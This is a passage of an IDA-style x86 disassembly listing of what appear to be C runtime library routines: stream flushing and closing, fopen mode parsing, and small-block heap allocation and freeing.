movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_41848D
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_418527
mov eax, ebx
dec ebx
test eax, eax
jg short loc_418509
loc_418527: ; CODE XREF: sub_4184F3+Cj
; sub_4184F3+2Bj
pop edi
pop esi
pop ebx
retn
sub_4184F3 endp
; =============== S U B R O U T I N E =======================================
sub_41852B proc near ; CODE XREF: sub_417D4C+E5p
; sub_417D4C+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_41852B endp
; =============== S U B R O U T I N E =======================================
sub_418538 proc near ; CODE XREF: sub_417D4C+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_418538 endp
; =============== S U B R O U T I N E =======================================
sub_418548 proc near ; CODE XREF: sub_417D4C+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_418548 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418556 proc near ; CODE XREF: sub_4159D4+17p
; sub_4159D4+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_418574
mov ecx, off_437D70
movzx eax, word ptr [ecx+eax*2]
jmp short loc_4185C6
; ---------------------------------------------------------------------------
loc_418574: ; CODE XREF: sub_418556+10j
mov ecx, eax
push esi
mov esi, off_437D70
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_418599
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_4185A2
; ---------------------------------------------------------------------------
loc_418599: ; CODE XREF: sub_418556+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_4185A2: ; CODE XREF: sub_418556+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_41D1F7
add esp, 1Ch
test eax, eax
jnz short loc_4185C2
leave
retn
; ---------------------------------------------------------------------------
loc_4185C2: ; CODE XREF: sub_418556+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_4185C6: ; CODE XREF: sub_418556+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_418556 endp
; =============== S U B R O U T I N E =======================================
sub_4185CB proc near ; CODE XREF: sub_415B40+2Ap
; sub_41D55A+290p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
cmp edi, dword_46A8C0
jnb loc_418665
mov eax, edi
mov esi, edi
sar eax, 5
and esi, 1Fh
lea ebx, ds:46A7C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [eax+esi+4], 1
jz short loc_418665
push edi
call sub_41D4C6
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_418644
cmp edi, 1
jz short loc_418612
cmp edi, 2
jnz short loc_418628
loc_418612: ; CODE XREF: sub_4185CB+40j
push 2
call sub_41D4C6
push 1
mov ebp, eax
call sub_41D4C6
pop ecx
cmp eax, ebp
pop ecx
jz short loc_418644
loc_418628: ; CODE XREF: sub_4185CB+45j
push edi
call sub_41D4C6
pop ecx
push eax
call dword_42106C ; CloseHandle
test eax, eax
jnz short loc_418644
call dword_421088 ; RtlGetLastWin32Error
mov ebp, eax
jmp short loc_418646
; ---------------------------------------------------------------------------
loc_418644: ; CODE XREF: sub_4185CB+3Bj
; sub_4185CB+5Bj ...
xor ebp, ebp
loc_418646: ; CODE XREF: sub_4185CB+77j
push edi
call sub_41D44C
mov eax, [ebx]
pop ecx
and byte ptr [eax+esi+4], 0
test ebp, ebp
jz short loc_418661
push ebp
call sub_41C5D7
pop ecx
jmp short loc_418676
; ---------------------------------------------------------------------------
loc_418661: ; CODE XREF: sub_4185CB+8Bj
xor eax, eax
jmp short loc_418679
; ---------------------------------------------------------------------------
loc_418665: ; CODE XREF: sub_4185CB+Ej
; sub_4185CB+2Fj
and dword_469498, 0
mov dword_469494, 9
loc_418676: ; CODE XREF: sub_4185CB+94j
or eax, 0FFFFFFFFh
loc_418679: ; CODE XREF: sub_4185CB+98j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4185CB endp
; =============== S U B R O U T I N E =======================================
sub_41867E proc near ; CODE XREF: sub_415B40+22p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz short loc_4186A7
test al, 8
jz short loc_4186A7
push dword ptr [esi+8]
call sub_415E3D
and word ptr [esi+0Ch], 0FBF7h
xor eax, eax
pop ecx
mov [esi], eax
mov [esi+8], eax
mov [esi+4], eax
loc_4186A7: ; CODE XREF: sub_41867E+Aj
; sub_41867E+Ej
pop esi
retn
sub_41867E endp
; =============== S U B R O U T I N E =======================================
sub_4186A9 proc near ; CODE XREF: sub_418749+2Dp
; sub_418749+48p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jnz short loc_4186BB
push esi
call sub_418749
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186BB: ; CODE XREF: sub_4186A9+7j
push esi
call sub_4186E4
test eax, eax
pop ecx
jz short loc_4186CB
or eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_4186CB: ; CODE XREF: sub_4186A9+1Bj
test byte ptr [esi+0Dh], 40h
jz short loc_4186E0
push dword ptr [esi+10h]
call sub_41D503
neg eax
pop ecx
pop esi
sbb eax, eax
retn
; ---------------------------------------------------------------------------
loc_4186E0: ; CODE XREF: sub_4186A9+26j
xor eax, eax
pop esi
retn
sub_4186A9 endp
; =============== S U B R O U T I N E =======================================
sub_4186E4 proc near ; CODE XREF: sub_415B40+1Ap
; sub_416E3E+37p ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi+0Ch]
mov ecx, eax
and ecx, 3
cmp cl, 2
jnz short loc_418731
test ax, 108h
jz short loc_418731
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
test edi, edi
jle short loc_418731
push edi
push eax
push dword ptr [esi+10h]
call sub_41C42A
add esp, 0Ch
cmp eax, edi
jnz short loc_41872A
mov eax, [esi+0Ch]
test al, 80h
jz short loc_418731
and al, 0FDh
mov [esi+0Ch], eax
jmp short loc_418731
; ---------------------------------------------------------------------------
loc_41872A: ; CODE XREF: sub_4186E4+36j
or dword ptr [esi+0Ch], 20h
or ebx, 0FFFFFFFFh
loc_418731: ; CODE XREF: sub_4186E4+14j
; sub_4186E4+1Aj ...
mov eax, [esi+8]
and dword ptr [esi+4], 0
mov [esi], eax
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_4186E4 endp
; =============== S U B R O U T I N E =======================================
sub_418740 proc near ; CODE XREF: sub_41D17Bp
push 1
call sub_418749
pop ecx
retn
sub_418740 endp
; =============== S U B R O U T I N E =======================================
sub_418749 proc near ; CODE XREF: sub_4186A9+Ap
; sub_418740+2p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor esi, esi
xor ebx, ebx
xor edi, edi
cmp dword_46A7A0, esi
jle short loc_4187A7
loc_41875A: ; CODE XREF: sub_418749+5Cj
mov eax, dword_469780
mov eax, [eax+esi*4]
test eax, eax
jz short loc_41879E
mov ecx, [eax+0Ch]
test cl, 83h
jz short loc_41879E
cmp [esp+0Ch+arg_0], 1
jnz short loc_418784
push eax
call sub_4186A9
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41879E
inc ebx
jmp short loc_41879E
; ---------------------------------------------------------------------------
loc_418784: ; CODE XREF: sub_418749+2Aj
cmp [esp+0Ch+arg_0], 0
jnz short loc_41879E
test cl, 2
jz short loc_41879E
push eax
call sub_4186A9
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41879E
or edi, eax
loc_41879E: ; CODE XREF: sub_418749+1Bj
; sub_418749+23j ...
inc esi
cmp esi, dword_46A7A0
jl short loc_41875A
loc_4187A7: ; CODE XREF: sub_418749+Fj
cmp [esp+0Ch+arg_0], 1
mov eax, ebx
jz short loc_4187B2
mov eax, edi
loc_4187B2: ; CODE XREF: sub_418749+65j
pop edi
pop esi
pop ebx
retn
sub_418749 endp
; =============== S U B R O U T I N E =======================================
sub_4187B6 proc near ; CODE XREF: sub_415B96+8p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push dword ptr [esi+10h]
call sub_41D0B0
test eax, eax
pop ecx
jz short loc_41883F
cmp esi, offset dword_438488
jnz short loc_4187D4
xor eax, eax
jmp short loc_4187DF
; ---------------------------------------------------------------------------
loc_4187D4: ; CODE XREF: sub_4187B6+18j
cmp esi, offset dword_4384A8
jnz short loc_41883F
push 1
pop eax
loc_4187DF: ; CODE XREF: sub_4187B6+1Cj
inc dword_469654
test word ptr [esi+0Ch], 10Ch
jnz short loc_41883F
cmp dword_4694EC[eax*4], 0
push ebx
push edi
lea edi, ds:4694ECh[eax*4]
mov ebx, 1000h
jnz short loc_418825
push ebx
call sub_415DC9
test eax, eax
pop ecx
mov [edi], eax
jnz short loc_418825
lea eax, [esi+14h]
push 2
mov [esi+8], eax
mov [esi], eax
pop eax
mov [esi+18h], eax
mov [esi+4], eax
jmp short loc_418832
; ---------------------------------------------------------------------------
loc_418825: ; CODE XREF: sub_4187B6+4Dj
; sub_4187B6+5Aj
mov edi, [edi]
mov [esi+18h], ebx
mov [esi+8], edi
mov [esi], edi
mov [esi+4], ebx
loc_418832: ; CODE XREF: sub_4187B6+6Dj
or word ptr [esi+0Ch], 1102h
push 1
pop eax
pop edi
pop ebx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41883F: ; CODE XREF: sub_4187B6+10j
; sub_4187B6+24j ...
xor eax, eax
pop esi
retn
sub_4187B6 endp
; =============== S U B R O U T I N E =======================================
sub_418843 proc near ; CODE XREF: sub_415B96+24p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
jz short loc_41886D
mov esi, [esp+4+arg_4]
test byte ptr [esi+0Dh], 10h
jz short loc_41887E
push esi
call sub_4186E4
and byte ptr [esi+0Dh], 0EEh
and dword ptr [esi+18h], 0
and dword ptr [esi], 0
and dword ptr [esi+8], 0
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41886D: ; CODE XREF: sub_418843+6j
mov eax, [esp+4+arg_4]
test byte ptr [eax+0Dh], 10h
jz short loc_41887E
push eax
call sub_4186E4
pop ecx
loc_41887E: ; CODE XREF: sub_418843+10j
; sub_418843+32j
pop esi
retn
sub_418843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418880 proc near ; CODE XREF: sub_415BC8+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_46965C
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_4188B9
cmp al, 72h
jz short loc_4188B2
cmp al, 77h
jnz loc_4189CD
mov ecx, 301h
jmp short loc_4188BE
; ---------------------------------------------------------------------------
loc_4188B2: ; CODE XREF: sub_418880+21j
xor ecx, ecx
or esi, 1
jmp short loc_4188C1
; ---------------------------------------------------------------------------
loc_4188B9: ; CODE XREF: sub_418880+1Dj
mov ecx, 109h
loc_4188BE: ; CODE XREF: sub_418880+30j
or esi, 2
loc_4188C1: ; CODE XREF: sub_418880+37j
push 1
pop edx
loc_4188C4: ; CODE XREF: sub_418880+8Bj
; sub_418880+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_4189B3
cmp edx, ebx
jz loc_4189B3
movsx eax, al
cmp eax, 54h
jg short loc_418952
jz short loc_418942
sub eax, 2Bh
jz short loc_41892C
sub eax, 19h
jz short loc_418922
sub eax, 0Eh
jz short loc_41890D
dec eax
jnz loc_4189A4
cmp [ebp+var_4], ebx
jnz loc_4189A4
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_41890D: ; CODE XREF: sub_418880+6Fj
cmp [ebp+var_4], ebx
jnz loc_4189A4
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_418922: ; CODE XREF: sub_418880+6Aj
test cl, 40h
jnz short loc_4189A4
or ecx, 40h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_41892C: ; CODE XREF: sub_418880+65j
test cl, 2
jnz short loc_4189A4
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_4188C4
; ---------------------------------------------------------------------------
loc_418942: ; CODE XREF: sub_418880+60j
mov eax, 1000h
test ecx, eax
jnz short loc_4189A4
or ecx, eax
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_418952: ; CODE XREF: sub_418880+5Ej
sub eax, 62h
jz short loc_41899F
dec eax
jz short loc_418988
sub eax, 0Bh
jz short loc_418971
sub eax, 6
jnz short loc_4189A4
test ch, 0C0h
jnz short loc_4189A4
or ch, 40h
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_418971: ; CODE XREF: sub_418880+DDj
cmp [ebp+var_8], ebx
jnz short loc_4189A4
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_418988: ; CODE XREF: sub_418880+D8j
cmp [ebp+var_8], ebx
jnz short loc_4189A4
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_41899F: ; CODE XREF: sub_418880+D5j
test ch, 0C0h
jz short loc_4189AB
loc_4189A4: ; CODE XREF: sub_418880+72j
; sub_418880+7Bj ...
xor edx, edx
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_4189AB: ; CODE XREF: sub_418880+122j
or ch, 80h
jmp loc_4188C4
; ---------------------------------------------------------------------------
loc_4189B3: ; CODE XREF: sub_418880+4Aj
; sub_418880+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_41D55A
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_4189D1
loc_4189CD: ; CODE XREF: sub_418880+25j
xor eax, eax
jmp short loc_4189EB
; ---------------------------------------------------------------------------
loc_4189D1: ; CODE XREF: sub_418880+14Bj
mov eax, [ebp+arg_C]
inc dword_469654
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_4189EB: ; CODE XREF: sub_418880+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_418880 endp
; =============== S U B R O U T I N E =======================================
sub_4189F0 proc near ; CODE XREF: sub_415BC8p
mov edx, dword_46A7A0
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_418A61
mov ebx, dword_469780
mov edi, ebx
loc_418A0C: ; CODE XREF: sub_4189F0+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_418A27
test byte ptr [ecx+0Ch], 83h
jz short loc_418A22
inc eax
add edi, 4
cmp eax, edx
jl short loc_418A0C
jmp short loc_418A61
; ---------------------------------------------------------------------------
loc_418A22: ; CODE XREF: sub_4189F0+26j
mov esi, [ebx+eax*4]
jmp short loc_418A4B
; ---------------------------------------------------------------------------
loc_418A27: ; CODE XREF: sub_4189F0+20j
mov edi, eax
push 20h
shl edi, 2
call sub_415DC9
pop ecx
mov ecx, dword_469780
mov [edi+ecx], eax
mov eax, dword_469780
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_418A61
mov esi, edi
loc_418A4B: ; CODE XREF: sub_4189F0+35j
cmp esi, ebp
jz short loc_418A61
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_418A61: ; CODE XREF: sub_4189F0+12j
; sub_4189F0+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_4189F0 endp
; =============== S U B R O U T I N E =======================================
sub_418A68 proc near ; CODE XREF: sub_415DDB+1Fp
; sub_4174DF+106p ...
arg_0 = dword ptr 4
mov eax, dword_4694F8
test eax, eax
jz short loc_418A80
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_418A80
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418A80: ; CODE XREF: sub_418A68+7j
; sub_418A68+12j
xor eax, eax
retn
sub_418A68 endp
; =============== S U B R O U T I N E =======================================
sub_418A83 proc near ; CODE XREF: sub_417AF8+5Ap
arg_0 = dword ptr 4
xor eax, eax
push 0
cmp [esp+4+arg_0], eax
push 1000h
setz al
push eax
call dword_421174 ; HeapCreate
test eax, eax
mov dword_46AB00, eax
jz short loc_418AB8
call sub_418ABF
test eax, eax
jnz short loc_418ABB
push dword_46AB00
call dword_421170 ; HeapDestroy
loc_418AB8: ; CODE XREF: sub_418A83+1Ej
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_418ABB: ; CODE XREF: sub_418A83+27j
push 1
pop eax
retn
sub_418A83 endp
; =============== S U B R O U T I N E =======================================
sub_418ABF proc near ; CODE XREF: sub_418A83+20p
push 140h
push 0
push dword_46AB00
call dword_42114C ; RtlAllocateHeap
test eax, eax
mov dword_46AAFC, eax
jnz short loc_418ADC
retn
; ---------------------------------------------------------------------------
loc_418ADC: ; CODE XREF: sub_418ABF+1Aj
and dword_46AAF4, 0
and dword_46AAF8, 0
push 1
mov dword_46AAF0, eax
mov dword_46AAE8, 10h
pop eax
retn
sub_418ABF endp
; =============== S U B R O U T I N E =======================================
sub_418AFD proc near ; CODE XREF: sub_415E3D+Ap
; sub_4174DF+3Dp ...
arg_0 = dword ptr 4
mov eax, dword_46AAF8
lea ecx, [eax+eax*4]
mov eax, dword_46AAFC
lea ecx, [eax+ecx*4]
loc_418B0D: ; CODE XREF: sub_418AFD+26j
cmp eax, ecx
jnb short loc_418B25
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_418B27
add eax, 14h
jmp short loc_418B0D
; ---------------------------------------------------------------------------
loc_418B25: ; CODE XREF: sub_418AFD+12j
xor eax, eax
locret_418B27: ; CODE XREF: sub_418AFD+21j
retn
sub_418AFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418B28 proc near ; CODE XREF: sub_415E3D+16p
; sub_4174DF+89p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
mov edx, [ebp+arg_4]
mov ecx, [ebp+arg_0]
push ebx
push esi
mov eax, [ecx+10h]
mov esi, edx
sub esi, [ecx+0Ch]
mov ebx, [edx-4]
add edx, 0FFFFFFFCh
push edi
shr esi, 0Fh
mov ecx, esi
mov edi, [edx-4]
imul ecx, 204h
dec ebx
mov [ebp+var_4], edi
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ebx
mov [ebp+var_10], ecx
mov ecx, [ebx+edx]
test cl, 1
mov [ebp+var_8], ecx
jnz short loc_418BEE
sar ecx, 4
push 3Fh
dec ecx
pop edi
mov [ebp+arg_4], ecx
cmp ecx, edi
jbe short loc_418B80
mov [ebp+arg_4], edi
loc_418B80: ; CODE XREF: sub_418B28+53j
mov ecx, [ebx+edx+4]
cmp ecx, [ebx+edx+8]
jnz short loc_418BD2
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_418BAE
mov edi, 80000000h
shr edi, cl
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+44h], edi
dec byte ptr [ecx]
jnz short loc_418BD2
mov ecx, [ebp+arg_0]
and [ecx], edi
jmp short loc_418BD2
; ---------------------------------------------------------------------------
loc_418BAE: ; CODE XREF: sub_418B28+68j
add ecx, 0FFFFFFE0h
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edi
and [eax+esi*4+0C4h], edi
dec byte ptr [ecx]
jnz short loc_418BD2
mov ecx, [ebp+arg_0]
and [ecx+4], edi
loc_418BD2: ; CODE XREF: sub_418B28+60j
; sub_418B28+7Dj ...
mov ecx, [ebx+edx+8]
mov edi, [ebx+edx+4]
mov [ecx+4], edi
mov ecx, [ebx+edx+4]
mov edi, [ebx+edx+8]
add ebx, [ebp+var_8]
mov [ecx+8], edi
mov [ebp+var_C], ebx
loc_418BEE: ; CODE XREF: sub_418B28+45j
mov edi, ebx
sar edi, 4
dec edi
cmp edi, 3Fh
jbe short loc_418BFC
push 3Fh
pop edi
loc_418BFC: ; CODE XREF: sub_418B28+CFj
mov ecx, [ebp+var_4]
and ecx, 1
mov [ebp+var_14], ecx
jnz loc_418CAB
sub edx, [ebp+var_4]
mov ecx, [ebp+var_4]
sar ecx, 4
push 3Fh
mov [ebp+var_8], edx
dec ecx
pop edx
cmp ecx, edx
mov [ebp+arg_4], ecx
jbe short loc_418C27
mov [ebp+arg_4], edx
mov ecx, edx
loc_418C27: ; CODE XREF: sub_418B28+F8j
add ebx, [ebp+var_4]
mov edi, ebx
mov [ebp+var_C], ebx
sar edi, 4
dec edi
cmp edi, edx
jbe short loc_418C39
mov edi, edx
loc_418C39: ; CODE XREF: sub_418B28+10Dj
cmp ecx, edi
jz short loc_418CA8
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
cmp edx, [ecx+8]
jnz short loc_418C90
mov ecx, [ebp+arg_4]
cmp ecx, 20h
jnb short loc_418C6C
mov edx, 80000000h
shr edx, cl
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+44h], edx
dec byte ptr [ecx]
jnz short loc_418C90
mov ecx, [ebp+arg_0]
and [ecx], edx
jmp short loc_418C90
; ---------------------------------------------------------------------------
loc_418C6C: ; CODE XREF: sub_418B28+126j
add ecx, 0FFFFFFE0h
mov edx, 80000000h
shr edx, cl
mov ecx, [ebp+arg_4]
lea ecx, [ecx+eax+4]
not edx
and [eax+esi*4+0C4h], edx
dec byte ptr [ecx]
jnz short loc_418C90
mov ecx, [ebp+arg_0]
and [ecx+4], edx
loc_418C90: ; CODE XREF: sub_418B28+11Ej
; sub_418B28+13Bj ...
mov ecx, [ebp+var_8]
mov edx, [ecx+8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_8]
mov edx, [ecx+4]
mov ecx, [ecx+8]
mov [edx+8], ecx
loc_418CA8: ; CODE XREF: sub_418B28+113j
mov edx, [ebp+var_8]
loc_418CAB: ; CODE XREF: sub_418B28+DDj
cmp [ebp+var_14], 0
jnz short loc_418CBA
cmp [ebp+arg_4], edi
jz loc_418D43
loc_418CBA: ; CODE XREF: sub_418B28+187j
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov ecx, [ecx+4]
mov [edx+4], ecx
mov ecx, [ebp+var_10]
lea ecx, [ecx+edi*8]
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_418D43
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_418D17
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418D06
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_418D06: ; CODE XREF: sub_418B28+1CEj
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
lea eax, [eax+esi*4+44h]
or [eax], ebx
jmp short loc_418D40
; ---------------------------------------------------------------------------
loc_418D17: ; CODE XREF: sub_418B28+1C8j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_418D2D
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_418D2D: ; CODE XREF: sub_418B28+1F3j
lea ecx, [edi-20h]
mov edi, 80000000h
shr edi, cl
lea eax, [eax+esi*4+0C4h]
or [eax], edi
loc_418D40: ; CODE XREF: sub_418B28+1EDj
mov ebx, [ebp+var_C]
loc_418D43: ; CODE XREF: sub_418B28+18Cj
; sub_418B28+1B6j
mov eax, [ebp+var_10]
mov [edx], ebx
mov [ebx+edx-4], ebx
dec dword ptr [eax]
jnz loc_418E4E
mov eax, dword_46AAF4
test eax, eax
jz loc_418E40
mov ecx, dword_46AAEC
mov edi, dword_421178
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; VirtualFree
mov ecx, dword_46AAEC
mov eax, dword_46AAF4
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_46AAF4
mov ecx, dword_46AAEC
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_46AAF4
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_46AAF4
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_418DCE
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_46AAF4
loc_418DCE: ; CODE XREF: sub_418B28+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_418E40
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; VirtualFree
mov eax, dword_46AAF4
push dword ptr [eax+10h]
push 0
push dword_46AB00
call dword_421150 ; RtlFreeHeap
mov eax, dword_46AAF8
mov edx, dword_46AAFC
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_46AAF4
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_416490
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_46AAF8
cmp eax, dword_46AAF4
jbe short loc_418E32
sub eax, 14h
loc_418E32: ; CODE XREF: sub_418B28+305j
mov ecx, dword_46AAFC
mov dword_46AAF0, ecx
jmp short loc_418E43
; ---------------------------------------------------------------------------
loc_418E40: ; CODE XREF: sub_418B28+233j
; sub_418B28+2AAj
mov eax, [ebp+arg_0]
loc_418E43: ; CODE XREF: sub_418B28+316j
mov dword_46AAF4, eax
mov dword_46AAEC, esi
loc_418E4E: ; CODE XREF: sub_418B28+226j
pop edi
pop esi
pop ebx
leave
retn
sub_418B28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418E53 proc near ; CODE XREF: sub_415E07+Ep
; sub_4174DF+69p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_46AAF8
mov edx, dword_46AAFC
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_418E93
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_418EA3
; ---------------------------------------------------------------------------
loc_418E93: ; CODE XREF: sub_418E53+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_418EA3: ; CODE XREF: sub_418E53+3Ej
mov eax, dword_46AAF0
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_418ECA
loc_418EB1: ; CODE XREF: sub_418E53+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418ECA
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_418EB1
loc_418ECA: ; CODE XREF: sub_418E53+5Cj
; sub_418E53+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_418F48
mov ebx, edx
loc_418ED1: ; CODE XREF: sub_418E53+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_418EED
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_418EEB
add ebx, 14h
jmp short loc_418ED1
; ---------------------------------------------------------------------------
loc_418EEB: ; CODE XREF: sub_418E53+91j
cmp ebx, eax
loc_418EED: ; CODE XREF: sub_418E53+83j
jnz short loc_418F48
loc_418EEF: ; CODE XREF: sub_418E53+ADj
cmp ebx, [ebp+var_4]
jnb short loc_418F05
cmp dword ptr [ebx+8], 0
jnz short loc_418F02
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_418EEF
; ---------------------------------------------------------------------------
loc_418F02: ; CODE XREF: sub_418E53+A5j
cmp ebx, [ebp+var_4]
